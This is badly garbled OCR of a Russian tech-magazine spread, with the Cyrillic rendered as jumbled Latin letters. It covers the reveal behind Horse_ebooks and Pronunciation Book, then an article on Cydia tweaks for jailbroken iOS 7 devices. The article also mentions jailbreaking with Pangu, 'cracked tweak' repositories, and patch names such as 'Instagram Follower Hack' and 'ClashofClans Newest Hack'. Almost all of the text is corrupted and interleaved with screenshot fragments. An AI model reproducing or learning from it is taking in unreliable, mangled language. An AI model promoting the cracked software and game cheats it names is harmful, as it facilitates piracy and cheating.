NI0AMW, UHTEPECYIOLMNECS, KaK YATaTb HEMOHSATHOE CNOBO. BHeLLHe
KaHan BbIrMaauT Kak Ybsi-TO NOMbITka 3apaboTtaTb Ha pekname unm
Kak XpaHumLLe BUAEO AJIS KaKoro-To carnta. PeanbHOCTb Xe oka-
3anacb HaAMHOro 6onee NHTePECHOW.

Mepsble Buaeo Pronunciation Book aatupytotca 2010 rogom,
a B 2012 rogy cpeaw HUX CTanu nonagatbes Lenble ¢ppasbl, Npu-
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4YeM KpainHe HeoObl4Hble. B Buaeo nop HasBaHmem «Kak monpo-
CWTb O MOMOLLW NO-aHMIMNCKN>» FOI0C 3a KaAPOM roBopuT: «[oxa-
nylicTta, noMoru MHe cbexarb oTcloaa», a 3atem «Llled, MHe HyxXHa
TBOS MOMOLLLb KOE B YEM»; BUAEO «Kak ckasaTb ,HET" HAPKOTMKaM»
yunT Pppase «5 6bl C yAOBONLCTBMEM, HO Y MEHS COBELLaHne Ye-
pes3 necaTb MUHYT»; B posivke «Kak pacckasaTb CekpeT» LUenoToMm
roBopAT «f He roToB K GONbLLIOMY NMOKady» U cnegoM «[oH 3Ha-
€T, 4TO NPOM3OLLIO Ha Nlogke». Jns ypoKoB A3blka Kak MUHUMYM
CINLLKOM crneundunyHo.

Mo-HacTosAweMy Ha Pronunciation Book o6paTtnnu BHUMaHue
9 nions 2013 roga, korga BMECTO O4epesHOro ciosa unv ¢pasabl
NosIBUJICS POSINK C LMdpoli 77, a ronoc coobLumn «4To-To CnyumnT-
csyepes 77 gHel». Ha cnenyowmin AeHb Takom Xe — CO CioBamMu
«% nblTaloCb ckasaTb Bam 4To-T0O 1183 gHsa. YTo-TO cnyuntcs Yyepes
76 pHeit». U elle Yyepes aeHb: «A npocHyncs. Bce nposicHsieTcs.
9 Gonblue He roBOpi0 CnoBa. YTo-TO cay4nTcs Yepes 75 OHel».
W Tak ewe 74 gHa noopsia — € 3arafovHbiMU dpasamu, TYMaHHbI-
MM NPOpPOYeCTBaMM 1 06paTHLIM OTCHETOM.

MHeHMsA 0 TOM, YTO X€E Ha camMoM Aene NpeacTaBnseT cobon
Pronunciation Book, pasgenunuce. OgHu cuutanu, 41O aBTop,
y3HaB Npo MOMNynsiPHOCTb KaHana, PeLunn Ha ero OCHOBe caenartb
YTO-TO NovHTepecHee. [ipyrve Gbinv yBEPEHbI, 4TO 3TO BUPYCHbIN
MapkeTuHr 1 Pronunciation Book — peknama kakon-To Urpbl Uan
cepuana, k npumepy «3Be3fgHoro kpericepa ,lfanakrumka“». dpasbl
BpoAe Obl TYMAHHO HaMeKasnu Ha ero CIOXeT.

B peHb «ukc» kaHan Pronunciation Book nononHuncs ypo-
KOM NpOon3HoLLEeHns HOBOro cnosa — Horse_ebooks. Ho Ha aTtom
POSINK HEe KOHYaEeTCs, U HaAMUCb OTbe3XaeT B CTOPOHY, HTOObI
YCTYNUTb MECTO [eByLLKe B 6enoM, koTopasi pacckasbiBaeT 3a-
BA3KY CTPaHHOBATOrO CloXeTa Npo KnbepnpoCTPaHCTBO, AaHHbIE,
6aHKMPOB N YNHOBHWKOB, @ B KOHLLE OHa ABaXxAbl NMOBTOPSET TpU
CJI0Ba, JINLLIEHHbIX BCAKOro cMmeicna: Bear Stearns Bravo. OagHo-
BpeMeHHO B TBUTTepe Horse_ebooks nosiBnsercsa cpasy Tpu UH-
TepecHbIX TBUTA: CCbiSka Ha 3TO BUAEO, HOMep TesniedoHa U Te Xe
3arafioyHble cnosa — Bear Stearns Bravo.

[Be MucTtepmmn GblIM PACKPbITbl OOAHOBPEMEHHO: OKa3asnoch,
4710 1 Horse_ebooks, n Pronunciation Book npuHagnexar ogHo-
My YENOBEKY — COTPYOHUKY pasBnekatenbHoro cavta Buzzfeed
Ixelikoby Bbakune. Pronunciation Book wsHauanbHO Obin ero
netvwem, a Horse_ebooks oH B 2011 rogy npuobpen y Anekcest
KysHeuoBa. BepHee, kakMM-To 06pa3oM BbINPOCU U OBGMEHSN
Ha YTO-TO — NO cnosaM bakunbl, AeHbIN B UX CAEJIKE HE y4acTBO-
Bawn.

MonpepxaHue TBUTTEPA Horse_ebooks Tpe6oBano oT HOBO-
ro X03siMHa HeMaJslbIxX TPyA03aTpar: MPMMEPHO Kaxdble ABa C No-
JIOBWHOI Yaca OH BPY4HYIO BbiOMpan 1 nyénnkosan o4yepenHyto
umTaty. MoxHo 6bIN10 BOCNONb30BATLCS KakKMM-HUOYAb CKPU-
TOM, obecneyvBaloWMM OTNOXEHHYI0 nybaukauuilo TBUTOB,
4TOObl HE CTaBUTb BYAWMNBHUK HA CEePeauHYy HO4YM, HO OT 3ToN
BO3MOXHOCTM Baknna Hapo4YHO 0TKa3ancs: OH peLuns, 4To ecnun
yX B3si1ca M306paxarb 60Ta, TO HYXHO He OT/IbIHMBATb U BXU-
BaTbCHA B 06pas.

10T apT-nepdomMaHc AMHOM B Tpy roaa Gbin 3aBepLUeH Bbi-
cTynneHnem B Hblo-Mopkckom Mysee COBPEMEHHOIO MCKYCCTBA.

Dxeitko6 Bakunau To-
mac BeHpep 3aunTbiBa-
10T TBUTbl Horse_ebooks,
cuas B 3ane myses

«4T0-TO CNyuYnTCH Yepes
77 pHeir». Jliobutenu
XAaTh KOHLA cBETa Gbin
papbl TAaKOMY NoAapKy

Bear Stearns Bravo —
KpaiiHe HeoObl4YHbI
$UnbM, HO NOKJIOHHN-
Ky apTxaycaBuaenu
WHe TaKoe
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Bakuna BMecTe ¢ HanapHWKOM LEeNblIi AeHb NMPUHUMANU 3BOHKM
Nno ykasaHHOMY B TBUTTEPE TenedOoHy 1 3a4MTbiBaSIY 3BOHSLLUMM
dpasbl B ayxe Horse_ebooks. TekcTbl Ha MecTe oTéupanu N3 MHO-
roCTpaHW4YHOI pacneyarku, BblAAHHOW CNamMepCKUM anropuTMoM
Anekces KysHeuoBa.

JestenbHocTb Bakuibl HE TONbKO akT COBPEMEHHOrO UCKYC-
CTBa, HO M crnoco6 NpPopekIaMMpoBaTh CBOW CReayloLmiA Npo-
exkT — Bear Stearns Bravo. Oka3anocb, YTO 3TO MHTEPaKTUBHbIN
dunbM, 3anMcaHHbIil B BUAE 10TIOOHBIX ponvkoB. Kasanocb 6bl,
abCypOHbIi CIOXET, CbeMKWN B CTWUNE AEBSHOCTbIX, HOCTasbruye-
CKasi KOMMNbOTEPHas rpadurka TeX Xe BPEMEH U CTOMb HEOObIYHAsA
peknamMHas KamnaHusi OO/MKHbI ObiN NPUHECTU GUAbMY yCrex.
Ho okasanochb, 4To peksiiama 6blna MHTEPECHEN camMoro NpoaykTa,
M Kak TONbKO 3arafka paspelumnnach, nponan v uHtepec obuie-
CTBEHHOCTU KO BCEN 3aTee.

Y710 A0 NpedaHHbIX NOKNOHHMKOB Horse_ebooks, TO OHW nNpo-
[0mKaloT NoMyHaTb Bakuny HepoGpbiM CNOBOM: C aHOHCOM Bear
Stearns Bravo ux nio6umblii TBUTTEP NepecTan Bellatb. 3aragoy-
HOr'0 KOHS$1 C €ro NO3TUYHBIMY BbICKa3blBAHUSIMU NMPUHECWN B XEPT-
BY MCKYCCTBY.

«PACNMO3HABAHUE OBPA30B)»
WHTepecHo, 4Tto nctopum Bpoae Horse_ebooks n Pronunciation
Book 6binn npeackasarsl ewe B 2003 rooy — B kHUre Yunbsima
MbcoHa «Pacno3HaBaHvne o6pa3oB». Ee reponHa naet no cneny
3arafo4HOro aBTopa BUAEOPOSINKOB, KOTOPbIE aHOHUMHO Ny6nu-
KOBa/IMCb B MHTEPHETE 1 COOpanu BOKPYr cebs HebonbLLylo ap-
mMuio daHatoB. Mpeanonaran nn M6GCoH, 4To NOAOOHbIE paccne-
[0BaHMVSA Y>Xe CKOPO CTaHYT PacnpOCTPaHEHHbIM ABNIEHNEM?
Korga ogHW TanHbl OKa3biBAOTCA pasdragaHHbIMW, aApyrue
TOJIbKO-TOJIbKO NPUBEKAIOT K cebe nepBbix MckaTenen Heobblu-
Horo. K npumepy, no6oi Xenatowmii nonomars roioBy Hag, lnd-
pamMu MOXET NPUCOeanHUTLCS K dopymy /r/Solving_A858 — noa-
paspeny Reddit, roe pasragbiBaloT OEATENbHOCTb akkayHTa /u/
A858DE45F56D9BCY — Tam KTO-TO KaXAble HECKOJSIbKO 4acoB
nyGMKYeT HOBYIO MOPLMIO LLECTHAALATEPUYHBIX KOAOB. Hukakmx
HaMeKOB Ha pa3raaky 4O CUX NOp HET, U, BO3MOXHO, nepea, Hamu
HaKOHELL-TO HACTOSILLMIA aHaNor HOMEPHOWN paanocTaHumn. MNpas-
0a, Y LUMMOHCKOM MCTOPUN LLIAHC OKa3aTbCH pasraaHHoM HaMHOro
MeHbLLE, YHeM eC/M peyb MAET O KOHCMMPALIMKN paay KOHCIPaLUK.
LLINMOHbI B OTNYME OT XYOOXHWKOB He HadeloTcs B utore OblTb
packpbITbIMU. 3T
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SIBJIOHHAS NJIOA0XXOPKA

PacckasbiBaTb 0 npouenype nxennbperika si, KOHEYHO Xe,
He 6yay, aToro gobpa n Tak nosHo B Cetn. Ckaxy TObKO, 4TO Mo-
CNefHIol Ha MOMEHT HanmcaHus ctatbu Bepcuto i0S (7.1.2)
MOXHO ObINO NErko XxakHyTb C MOMoLLblo Pangu. Bee npocTo: noa-
Knovaem aesaric k MK, yctaHasnusaem Pangu v cneayem ero uH-
CTPYKLMAM.

— peno3utopuii Panana Netpuya.
KayecTtBeHHbIe 1 none3Hble TBUKN — Activator,

Pangu oTkpoeT dainoByto cuctemy 1 yctaHout Cydia B kade- INFO PebbleActivator, Flipswitch n gpyrue.
CTBE CUCTEMHOIO NPUNOXEHUS. A ganbLue yXxe MOXHO 3anyCTUTb — iCleaner Pro ouncTka
Cydia, noxoguTb MO MPOCTOPaM CTaHOAPTHOrO PEno3nTopus Kpome camoro marasunta TBOErO0 YCTPOICTBA.

1, KOHEYHO Xe, [06aBUTb PENO3UTOPUM CTOPOHHME. NPUNOXEHWIA, UHCTaNNS -
Top Cydia yctaHaenusaet
B CUCTEMY NPAKTUYECKN
BCE HeoOX0ANMblE
WHCTPYMEHTbI KOMaH,U,HOVI
ctpoku UNIX, Takne
Kak bash, bzip2, gpg, sed,
grep 1 Habop KOHCONbHbIX
KomaHg coreutils.

— nopt Siri Ha cTapble YyCTPONCTBA.
— B3/10MaHHble TBUKW, Tembl WinterBoard.
TBUKU, MOAUDUKALIUU, NPUJTIOXXEHUA U NATYU — B3JIOMaHHbIE TBUKW, TEMbI
Mpoiasck No canTam, pacckasbiBaloLWMM O TBUKAX Y MPUITOXEHN-
ax Cydia, Tbl HABEPHSIKA HATKHELLbCS Ha MHOXECTBO CTaTei B CTU-
ne «Ton-10 TBuKkoB 13 Cydia», koTopble noecTBytoT 06 iCleaner,
iFile, WinterBoard, Springtomize 1 npounx HaGuBLUMX OCKOMUHY
Activator’ax. 910 AeNCTBUTENbHO 3BE3AHbIE TBMKU, HO CEroAHs Mbl
NOroOBOPUM HE O HUX, @ O MEHEEe U3BECTHbIX, HO MONE3HbIX N He-
06bl4HbIX NPpeacTaBuTeNsix cemeicTaa Cydia. MNoexanu.

WinterBoard.
— B3JIOMaHHbIE€ TBUKWU,
Tembl WinterBoard.
— DOS-amynaTop.
— B3JIOMaHHbI€ TBUKM, TEMbI
WinterBoard.
— PYCCKUI penosnTtopui
TBUKOB 1 DLC.
Untepdeiic. 0S Experience, Auxo 2, GlowBoard — PYCCKMii PEno3UTOPHii TBUKOB.
u FullScroll
HayHem ¢ TBuka OS Experience. 9710 peannsaums MHOFOOKOH-
Horo pexuma B ctune OS X gna iPad. MHoruve 103epbl ¢ aHOHCOM
iOS 8 oxupgann NosiBNEHUSs B CUCTEME MHOMOOKOHHOIO pexuma,
a HesaBUCUMble Pa3paboT4nKK, MOKONAaBLUMNCL B NpoLumneke iOS 8,

[axe Halv HaMeKM Ha Hero, Ho cama QYHKLMS Tak 1 He Bbina fo-
6asneHa. K cuacTbio, dsaH LLIBuk caenan Teuk nof HassaHnem OS
Experience n Beinyctun ero B Cydia.

lMocne ycraHoOBKM TBUKA y Tebs nosiBaTcs pabouyve CTosbl,
Ha KOTOPbIX MOXHO OTKPbIBaTb HECKOJIbKO NPUSTIOXEHUI OQHOBPE-
MEHHO, Mexay pabo4rMm CTOIaMM MOXHO NepeMeLLaTbes, nepe-
TackvBasi 3a CO60W 1 NPUNOXeHNs. Tbl CMOXeELLb MEHSITb pa3mep
OKHa NPUIOXEHNS U NEPEMELLATb ero B Te MeCTa, rae byaner ynoob-
HO. HacTosilas MHOroOokOHHas cpepa, 3a KoTopyk 3BaH LUBuk

INFO

4yuTaTb npuwleauiee COOGLU,EHVIG Wnnn y3Hatb O COGbITI/II/I. Y TBUKA
60nblIOE KONMMYECTBO HACTPOEK, OT LBeTa pOHOBOW MOACBET-
KN [0 HACTPOWKWM TOro, kak OyaeT noanpbirMBaTb NPUSIOXEHUE
npw Nony4eHHOM yBeaomMneHumn. loctyneH 6ecnnatHo B penosu-
Topuun BigBoss.

Ons Tex, KTo nobuTt urpatbCs co wpudTammn, 9 pPekoMeH-
nyto Teuk Bytafont 2. [a, Ctus Jxo6c Jonro (unmn gaxe cnui-
KOM [0/1r0) BbINM3bIBaN CUCTEMY U noabvipan WwpndTbl, OAHAKO
Ha BKYC W LIBET HE TO YTO TOBapuvLla — POACTBEHHMKA HE HANTW.

npocut HemaneHbkue 9,99 nonnapa (penosuTtopuii BigBoss).

PopacteeHHbIn emy TBUK ProWidget cnenyet HECKONbKO MHOM
KoHuenuun. OH co3[4aeT CBOEro poga niasalolime BUOXEeTbI,
HO COBCEM He Te, K KOTOPbIM Mbl MPUBLIKIM Ha paboumx cTtonax
1 Ha cTpaHuue AHaekca. 3TO MNOSIHOLLEHHbIE MUHU-NPUNOXEHWS],
3arnyckaemMble B OTAE/BbHOM OKHe M CBOGOLHO Mnepemellaemble
no aKkpaHy (Ho Bce xe Byaem HadbiBaTb UX BUOXETAMN).

Mo ymonyanuto B ProWidget npucyTcTBylOT cneayowime Bua-
XeTbl: «bpaysep», «3ameTkn», «HanomuHaHus», «CoobLieHns»,
«Kanengapb», «[loyTar, «ByannbHuk», «Tanmep». Kaxanoe 13 atnx NZ
NpunoXxeHuii paboTaeT NOBEPX TEKYLLLETO OKHA U He BbIrpyXaeTcst TnaBHbIii akpaH Cydia
13 NamsaTn 0 3aKpbiTvs. TBUK JOCTYNeH B peno3utopun BigBoss
3a 2,99 nonnapa. Kpome Toro, B Cydia eCTb MHOXECTBO AONOSTHUN- A
TeSbHbIX BUOXETOB 151 HETO. MoaceeyeHHbIe ¢ no-

Tenepb Taxenas aptTunnepns — Auxo 2, OAWH U3 camblX Mo- mouwbio GlowBoard
nynsapHbix TBUKOB aAns i0S. Auxo nonyymn n3BecTHOCTb 6Gnaro- npunoxexus
[apsi TOMy, 4TO MEepPeoCMbICINA MHOr033[4a4HOCTb YCTPOMCTB
Apple. MepBasa Bepcua TBUKa 0ob6aBnsna NpPeBbi0 NPUTOXEHU,

410 B iOS 6 6bIN10 9k30TMKON. B iIOS 7 MHOro3agayHoCTb 6bina n3- 0 nporpavwie Fnasan
MeHeHa 1 NpeBbio npvmoermVl CTann OOCTYMHblI HaM No ymo4ya- Popo noxanoears 8 Cydia™!
Huio. Mocne AoArMx pasMbllLEHUI Haf, HOBOW KOHLEeNUmel pas- @ i i
paboTtumkn BeinycTuan Auxo 2 ans iOS 7, nobasuB ewe 6onblue
MHTEPECHBIX 1 YA0OHbIX BELLEN.

B Auxo 2 pas3paboTyvky nocTapanucb 00bEAVMHUTbL LEHTP
YNPaBAeHNs N OTKPbITbIE MPUIOXEHWS, KOTOPbIE MOXHO NCTaTb
1 3aKkpblBaTh cBanamu. LleHTp ynpaeneHus 6bin pasaeneH Ha age
4acTu, B HUXXHEN JOCTyneH nneep v 6bICTPbIN AOCTYN K NPUIoXe-
HUSIM, B BEPXHEN — KHOMKWN BKJIIOYEHWUSI U BbIKIIIOYEHUS pasnny-

HasgaHue Cydia — ato
cokpatienue ot Cydia
pomonella (s6noHHas
NAOAOXOPKA), BUAA
6abouek, npeacTaBuTeNN
KOTOPbIX NOXMPAIOT N0z
A6710Hb 1 APYruX GPYKTOB.

Tak 4To 3arpyxaem Bytafont 2, BeibripaemM HyxXHbI LWPUGT (Mnun
Haxoaum B Cydia), 3axoaum B HacTpoikn Bytafont 2 n BbiGupaem.
YCTaHOBUTb LUPUEPT MOXHO Kak Ha BCIO CUCTEMY, TaK 1 Ha OTAENb-
Hble npunoxenus. Bytafont 2 poctyneH B penoautopun ModMyi
coBepLueHHo 6ecnnartHo.

Hy 1 HakoHeL, 0AVH 13 CamblX YAOBHbIX 1 MOSIE3HbIX TBUKOB —
FullScroll. lenaet ogHy NpOCTyio Belllb — CKpbIBaeT crarycbap
1 naHenb HaBUraumMm npuv NpoOMOTKE COAEPXMMOro OKHa npw-
noxenwus. Mo cytn, aHanor dyHkUmoHanbHocTM Chrome n Safari
B iOS 7, pacnpocCTpaHsIoLLMIACA Ha BCIO CUCTEMY U NMPUIOXEHUS.
OTO 04eHb yAOOHO He Tobko B Gpay3epax, HO U B APYrux npu-
JIOXEHUsIX TUna HacTpoek, App Store, iTunes, coumnanbHbIX NpuU-
NOXEHW. [Ina oTAeNbHO B3ATbIX MPUIOXEHWI COKPbITUE NaHenm
MOXHO OTK/04MTb. Penosuntopuin BigBoss. LleHa Hynesas.

A Tenepb o noroge. StatusbarWeather7 — oguH 13 cambix
yOa4HbIX TBUKOB C MHGOM 0 norofe. Mo cytn, BCe, 4TO OH dena-
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Extensions Useful on IPad

B rctvaror

wospans | (@ T > ) @ taun

Do > |[[Jeaurk >

3G Unrestrictor 5551, > FullForce

Emw7 e > | ncarcorapp
NCPad
53] sBSettings

SplitMail 22

Y vopasnenwe axxaywrom >

O6HoBnGHMe U KoANGPOAK >

LienTp TSS (SHSH u APTicket) >
SwipeSelection
Bpyrve uctounmkw naketon >

HbIx cnyx6. MosiBunack Hoeast dyHKUMa Quick Switcher: npoeeas

Products Designed for iPad

nanbLemM 13 1eBoro yrna BBepx, yBUAuLLb LWECTb NOCNEeOHNX NPU- a8 e ([ ’
JIOXKEHWIA, K KOTOPbIM MOXHO NepenTn, He OTPbIBas nanbLa. Auxo 2 B >
YHVBEpPCASEH, MO3TOMY OTANYHO paGoTaeT u Ha iPhone, 1 Ha iPad. = 2 MTackped >
. CripagouHan uHdopmaLmA _ Displayout s, >
HocTynen B penoautopun BigBoss no uexe B 3,99 nonnapa (1,99, A > (e

€Cnu nNepBasi BEPCUS YXXe eCTb B HAINHNK).

Elle oanH nHtepecHsiin TBuk — GlowBoard. Bce, 4T0 OH fe-
naet, — 370 NOACBEYMBaET 3anyLleHHble NPUNOXEHNS GOHOBLIM
NyJbCUPYIOLLIMM CBEYEHNEM BOKPYF MKOHKU. [TOMMMO 3anyLieH-
HbIX MPUNIOXEHWI, NyNbCUPOBaTb ByAyT Takxe Te NPUIOXEHUS, -
Yy KOTOPbIX €CTb Henpo4YuTaHHOe yBeAoMeHne. ITO OTANYHbIN a
MOTMBATOP, KOTOPLIA 3aCTaBNSET OTKPbITb NMPUIOXEHNE U NPO-

Konuposanwe haiinos > EMrFouerennancer "isizi >

Roctyn k OpenSSH > @ runscreen

s B
MountainGenter

£ nous

@ retinaraa

Napons Kopwesoro
nonb3osatena

Xpanunuwe >
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eT, — 910 gobasnaeT nHdopmaumio o noroge B cratycbap, Tak
4YTO OHa OOCTynHa Be3ae W Bcerga. [Ana HacTporiku notpebyeTtcs
KO, ropoJa, KOTOpbIi MOXHO y3HaTb Ha I06OM NOroAHOM canTe.
LocTyneH 6ecnnartHo B peno3utopum BigBoss.

Cea3b. Vestigo, 3G Unrestrictor u MyWi

Wi-Fi Ha ycTpOWCTBE XW3HEHHO HEeoOXOoAuM, B MeranosimMce Mbl
nogkno4aemcs kK cetam Wi-Fi v oTklo4aemMcsa oT HUX AeCATKM pas,
M Kaxaplii pas npuxoauTcs nea3Tb B HACTPOMKKM, 4TOObI BbIOpaTh
HYXHYIO Ham ceTb. TBuk Vestigo no3sonsieT BbibpaTh CeTb 1 Noja-
KJTIOYUTBLCS K HEW, He 3ax0s B HacTpoliku. KoHuenums Vestigo B3si-
Ta n3 OS X. Mpu ABOMHOM HaxaTtuu Ha ctatycbap (HacTpavBaeTcst
c nomoublo Activator) nosenseTcs OKHO, B KOTOPOM Tbl MOXELUb
NPON3BOANTbL COBEPLLEHHO Ntobble aecTeus ¢ Wi-Fi-cetamu.

BOHYCOM K 3TOMY Tbl MOJy4MLLb KaK CTaHOAPTHYIO MHbOopMa- INFO
LUMIO O CEeTW, Tak U AOMNONHUTENBbHYIO, B CUYy OrpaHuyeHuii i0S
HELOCTYMHYIO MO YMOMYaHuio. Hanpumep, CoXpaHeHHbI naposb Paspabotuuk Cydia —

o1 Wi-Fi-ceTn, ypoBeHb curHana, kaHas, Tun lWndpoBaHus, pexmm
AP, SSID, a Takxe Apyryilo nHdopmaumio. Bce 310 MOXHO Konu-
poBaTb, HaXaB Ha MHTepecyloLwmii napameTp. Vestigo gocTyneH
B penosuTtopun BigBoss no ueHe 1,59 gonnapa.

Kctatu, 06 orpaHunyeHusx. B iOS nx nonHo, n 0aHO 13 cambix
OypPauUKMX 1 HEOOOCHOBAHHbBIX N3 HUX — 3TO JIMMUTbLI HA UCTONb-
30BaHMe Tpaduka B MOOWNbHBIX ceTsax. Mo ymonyaHuio Tebe
Henb3s 3arpy3uTtb 6onee 10 M6 no GPRS/EDGE, Tbl He cMmo-
Xelwb cMoTpeTb ponankn YouTube B HD-kayecTtse no 3G, MHorme
VOIP-KANeHTbl 1 OHNaNH-Urpbl He paboTaloT, ANa 3arpysku Urp
1 npunoxenHuii n3 App Store, a Takxe MynbsTUMeama u3s iTunes
nencTeyeT kBoTa Ha 100 M6. 3G Unrestrictor cHumaeT Bce aTn
orpaHunyenus. Llena 3,99 nonnapa B cTaHOapTHOM penosuTopun
Cydia.

Ewe oaHO orpaHuyeHne — yulepbHaa YHKUMOHANbHOCTb
Toukm poctyna Wi-Fi, koTopas peanusoBaHa kak 6yaro Obl ans ra-
nouykn. Terk MyWi cywlecTBeHHO paclumpsieT ee BO3MOXHOCTU.
Tbl MOxelwwb co3paBatb Wi-Fi-Touky ¢ COOCTBEHHLIMU HACTPOW-
KaMu (Ha3BaHuWe, Naposib, cnocob WMPPOBAHNS 1 NpoYee), Ha-
CTpOWTb paspady MHTepHeTa no Bluetooth, paspaBatb MHTEpPHET
Ha PC no USB, a Takxe co3aaBaTh JIOKaNbHYIO CETb MeXAY ABYMS
YCTpOMCTBaMn 1 0OMEHMBATLCS OaHHbIMU (TpebyeTcs yCTaHOB-
ka TBka MyWi OnDemand Ha o6a ycTpoiicTea). EAUHCTBEHHBI
MuHyc MyWi — ero 3ao6nayHas ueHa. Pa3paboTimkm npocsaT ax
19,99 ponnapa 3a MyWi u 4,99 3a MyWi OnDemand.

AyauvouBupgeo. EqualizerEverywhere, VideoGestures
uArco

%

OTkpbiTOE OKHO Vestigo

Dxeit ®pumat (saurik)
1 ero komnanms SaurikIT.

Cydia nosiBunachb Ha cBeT
paHbLue 0pULNanbHOro
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iPad N1kOlay

Genera

WiFi

3 Nearby Networks
Lesika

& nikishin

& TP-LINK_FB8548

EqualizerEverywhere pewaet a3ty npobnemy, nobasnss
10-nonocHbIV 3KkBanar3ep B LEHTp ynpasneHus. [Mommmo TOro,
4TO Y TBUKA €CTb 60JIbLLIOE KOIMYECTBO NPeceToB, OH paboTaeT ab-
COJIIOTHO Be34e, PacnpoCTPaHASCh Ha BCIO CUCTEMY. Tbl MOXELLb
yBEeNMYnUTb 6aC y My3blkM, CHU3UTb CJIULLKOM BU3MVNBbLIE KPUKU
B O4EpPeaHON urpe npo 3oM6u UM N3MeHUTb PUHITOH. TBUK O0-
CTyneH B peno3utopuun BigBoss 3a 3 nonnapa.

INFO Ewe oamH mnHtepecHbii TBuk — VideoGestures. Jo6asnaet
cBalinbl B CTaHAapTHbIV Buaeonneep iOS. Mocne ycTaHOBKKU No-
ABATCS HOBble CBaWnbl: BBEPX/BHM3 W BNeBo/BnpaBo. Caalinbi
BBEPX U BHM3 OyAyT N3MEHSITb POMKOCTb BUAEO, a CBaliMbl BNEBO

Kaxabli BTOpol nonb3oBatenb iOS-yCcTponcTB — mMenomaH. Ml maraauHa App Store. 1 BNpaBo NepemMoTatoT BUAeO. Y TBUKA UMEKOTCSH HACTPOMKU, rae

MCMNONb3yeM Ky4y pasHbiX CEPBUCOB W NNeepoB AJ19 NpOoCayLIn-
BaHWUSI My3blkK: CTaHAapTHoe npunoxenune, SoundCloud, Google
Myabika, BKoHTakte. MuUHYC no4TM BCEX ITUX MPUIOXKEHWUA
O[VH — HeT aKBanaiisepa. EcTb, KOHEeYHO, NpeceTbl, HO OHK Pabo-
TaloT TOIbKO B CTAHAAPTHOM MPUIOXKEHUN.

HaBepHsika nonb3oBatenu Linux 6ygeT yameneHbl TeM dakTom, 4yto Cydia — aTo
He 4YTO MHOE, Kak rpadun4ecknin nHTepdenc Hag nakeTHslM MeHeaxxepom dpkg v ytu-
nutoi apt-get n3 Debian/Ubuntu. Mpu o6HapyxeHun HoBoro peno3utopus Cydia
BbIKQYMBAET M3 HEr0 MHAEKC MakeToB M Npeobpa3oBbIBAET €ro B yaoboumTaemblii
019 YenoBeka BuA. YCTaHOBKa nNaketa — 3TO BCE Te Xe npoueaypbl nonydyeHus deb-
nakeTta n3 peno3nTopud, CBepkun Kno4en n KOHTPOJIbHbLIX CyMM C nocsieayiowmm pas-
BOpaynBaHMeM naketa B $hainsioBylo CUCTEMY U 3aHeceHeM B 6a3y YCTaHOBNEHHbIX.

Mpouenypa, 3Hakomas kaxaomy 3epy Linux.

B pamkax npoekTa Cydia Takxe pa3suBaeTcs Substrate, dpeliMBopk, NO3BONSAIO-
LUMIA NnepexBaTbiBaThb BbI30BbI MPOLLEAYP Y KNACCOB Sl060ro KOMMOHEHTa CUCTEMbI U
CTOPOHHEro NMPUIOXEHUS C LieNbio UX NogmMeHbl. bnarogaps emy paspaboTynku Mo-
ryT UBMEHSTb BHELLHWNI BUA, 1 MOBEAEHNE CUCTEMbI Tak, kak UM 3abnaropaccyauTcs.
ViIMeHHO Substrate nexuT B 0CHOBE BCEX TBUKOB, Tak U MHa4Ye nameHsiomx ioS.

He Tak maBHO Saurik Beinyctun Bepcuio Cydia Substrate pns Android, Ho, Tak
KaK Ha TOT MOMEHT yxe Habpan nonynspHoCcTb GpeirMBOpK Xposed, npeaHa3HaveH-
Hbli 019 Tex Xe Leneii, ero pa3paboTka okasasacb NPakTUHeckn He3ameyeHHOW.
A xanb, Begp Substrate gns Android peanu3oBaH kyaa nssHee Xposed.

Tbl MOXELLb, HANPUMepP, N3MEHUTb CKOPOCTb NepemMoTku. [ocTty-
neH 6ecnnatHo B peno3utopum BigBoss.

Hy 1 Hanocnenok — Arco, 3TOT TBMK peannsyeT UHAMKATop,
0TOGpaxaloLLMin Nporpecc BOCMPOM3BOAMMOrO Tpeka B ctatycha-
pe. Arco paboTaeT ¢ no6biM ayauonpunoxexHvem. K coxaneHuio,
BOCNPOM3BEAEHNEM HENb3S YPABNSATh, HAXAaB HA MKOHKY, HO 3TO
MOXHO peann3osarb C NOMOLLbto TBUKa Activator. LieHa: 0,99 non-
napa B penosuntopun BigBoss.

YnpaBnenue. SwipeSelection, HandFree u Acute
WTak, ynpasneHue. B Takoli BbINMM3aHHOW OnepaumoHHON cUcTe-
Me, kak iOS, TpyAHO NpuayMarb YTO-TO HOBOE B MjlaHe ynydile-
HUS 103aBMNNTK, OOHAKO yMesblbl HaxoaaTcs. MNoareepxaeHve
ToMy — TBUKM SwipeSelection, KeyCuts n TapTheAt. MNepBbiii —
9TO O4YEHb CKPOMHBIN, HO MONE3HbI TBUK AN NepemMeLLeHns
no TekcTy. PakTnyeckn 3ameHsieT Nyny Ha cealinel. PacnpocTtpa-
HSIETCH COBEpLUEHHO 6ecnniaTHO, C BO3MOXHOCTbIO KynuTb nnart-
HYI0 BEPCUIO C JOMOJSIHUTENBbHLIM HAOOPOM XECTOB M HACTPONiKa-
MU (LeHa — 1,99 pnonnapa).

KeyCuts poGaBnsieT yeTblpe XecTa B KnaBuaTypy, Kaxnblii
13 KOTOPbIX MOXHO HAaCTPOWUTb OTAENIbHO U 3anporpaMMmMpoBaTb
Ha onpepeneHHoe pelictere. KeyCuts HacuuTbiBaeT nopsioka
ABeHaguatn aencteui ansa xecrta. NMoMuMmMo 3T1oro, TBUK MOXHO
HaCTPOUTb TaK, YTOObI XeCTbl paboTann He Ha BCEeW knaBunatype,
a TONbKO Ha onpeneneHHOM psife CMMBOJIOB, 3TO MOXET cnactun
OT Clly4aiiHbIX cBainoB (penoauTtopuii BigBoss, ueHa — 0,99 non-
napa). Hy n HakoHeu, TapTheAt — euwle oanH GecnnaTHbI TBUK
ONa KnaBvaTypbl, 406aBNSIOWMI KnaBuwy @, no HaxaTuio Ha KO-
TOPYIO B OKHE BBOAA MOSIBASIETCS aApecC TBOEN 3NEeKTPOHHOW Mo-
yTbl. EpyHAaa, a npusTHo.
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@ Enable Backgrounding

iAD Blocker

w [All-In-One] YouTube Essentials v2.7 (i0S 7)

Instagram Follower Hack

Big Patch.

Remove Sponsored Posts

All In One v3.1

(All In One) CoC Patch

> [v2.6] All-In-One Patch (i0S7)

Instagram Likers

Ringtone Downloader

Spotify Unlimited Skips V1

Block Cydia Ads From Opening Appstore App

ClashofClans Newest Hack By Eghosa64

Speed Boost

Edit Downloaded Patches

Tenepb 0 6051ee nHTepecHoM. Acute — TBUK, MO3BONSIOLLAIA
